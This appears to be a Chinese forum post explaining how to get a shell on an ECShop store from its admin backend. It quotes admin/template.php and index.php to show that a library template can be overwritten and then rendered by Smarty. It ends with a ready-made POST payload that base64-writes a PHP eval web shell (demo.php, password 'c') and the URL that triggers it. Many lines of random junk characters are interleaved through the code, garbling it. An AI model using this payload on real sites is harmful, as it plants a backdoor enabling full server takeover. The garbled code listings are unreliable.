Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
* w1 Q9 Q2 I: s6 J5 r4 X
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
+ q' ~4 T. ^2 t6 l' {% v但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
4 C' F/ c& j6 ^2 p1 c, G
1 if ($_REQUEST['act'] == 'update_library')

* B  A6 A. B/ ~: Y$ w2   
- c% q/ Z1 q4 Z1 a5 I/ o
6 L8 _0 T1 u5 y7 j! f0 t3 Q" j3 {
! X4 B3 n/ M1 ^: _$ ]" I) o# C
4     check_authz_json('library_manage');
  u7 L0 @4 W- k- @  W% F
5   
4 @% f7 i  n! V5 O. G% R
. g/ \$ l0 r7 y; |5 r6     $html = stripslashes(json_str_iconv($_POST['html']));
! o9 n: x3 T0 e
! y2 R: |7 u" D6 a& l) k4 c. e7   
8 ?0 a: J4 X8 ~5 D+ M
8 D+ D& Z- o  j3 H8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

3 {3 f( ~+ I# i1 F# |( ?" ?: z/ ~9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
% G1 ?' V! V, h: E8 b; W
11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   

  d1 X& e! R7 P$ f14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {
1 Q1 ^% ^1 j; Y' ]( x: d3 n
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
  L3 n& H# F, \( d8 _# W) _
17         make_json_result('', $_LANG['update_lib_success']);
4 t0 D$ ^3 Y/ G8 W+ t8 Z
18     }

19     else
0 r3 t7 e. X) g- x- L8 x5 k
" p& b3 H( |( ]; c20     {

9 i" r7 M9 {+ b$ v4 t7 Z21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

1 D7 i1 }8 ^, ?! x22     }

8 F& E0 L8 }) I  P$ H23 }
3 \( |4 L* f* [! J- A1 c/ T2 P) n0 s
; y4 F# T! r8 m0 C' b' p那么找个比较方便调用了模板的文件
9 ?6 n5 M2 Q, F6 C8 W( d" E1 Rindex.php
& o- }4 m) T% ]% i# e( x
1 if ($act == 'cat_rec')
& J( i7 |( ~7 C2 X% {8 a
2   
" d. a( _6 o) O' G9 J7 t
5 I* b, k7 {) ~2 I6 }3 {
" i3 y7 U/ A) @1 T% C/ E
+ ~7 U, N. B9 X. e' h& k- v4   
. ?; |  A/ w! B+ Y& Y. u8 J0 R
5 ^4 A  x. n. j: E- ^5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

6   
4 A1 h! Q5 h' o7 h, h* A6 E  i
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   

1 {; Q: P4 E3 C1 S0 z  N! O9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
1 Z5 v. N1 ]; Q' M9 C' f% z
$ V# P7 Z9 k0 E0 ~2 n% R% S1 k% g9 \10   
; K) T/ W5 F5 P3 ~+ }7 [
11     include_once('includes/cls_json.php');
: l$ n5 h. G& N5 l( g
5 Y4 D2 G* z, e& C; i+ S$ l. C12   
( Q/ S" y: @, u- d( H, l* J
# J* }3 U8 f: x2 T13     $json = new JSON;

# \+ A; |( Z) @( D7 g" A14   
' P9 e5 ~- x* a, h- x$ ^+ H( e: b
! B0 ]/ Z4 y) M: y* [15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

) t0 o# ^2 U0 n7 H( a. E16   

+ m/ G0 e8 Q5 S' M% V17     $children = get_children($cat_id);

6 Q+ Y: o6 t* m4 C/ q0 g18   

19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

+ ?' T6 X! S' @/ |0 @+ k20   

( K2 I. e7 p, J- E% ]21     $smarty->assign('cat_rec_sign', 1);

22   
1 X# V% j+ b8 a- N- C
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
+ T  p' ?0 Q8 f8 I4 l* p
24   

9 `: S& p5 N- s6 z9 @0 k25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   
* G4 I. [5 a" J3 ?9 G8 s$ }( \
27         echo $rec_array[$rec_type];
3 Z$ e7 f& l3 x4 J" E6 a" |7 w4 w* [
28   

29     die($json->encode($result));

30   
% i7 c. ]$ [6 |+ r# @* M
31 }
) `2 ?; w( Z4 R# z& E
那么就有利用方法了
, V$ B9 T- X  _! A- Xpost包到http://localhost/ec/admin/template.php?act=update_library
" A$ g  b, Q# M% Q, ^) LPost内容：
0 P' w. j" `) Q1 `, m4 u2 X
​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec
6 u, W: L7 [; d: a: [( A4 ?
1 B0 n7 _9 |6 [shel地址：http://localhost/ec/demo.php
! L  g4 m' N5 g$ S% V' _6 e密码c

! e; U2 u3 P6 |9 y+ D; P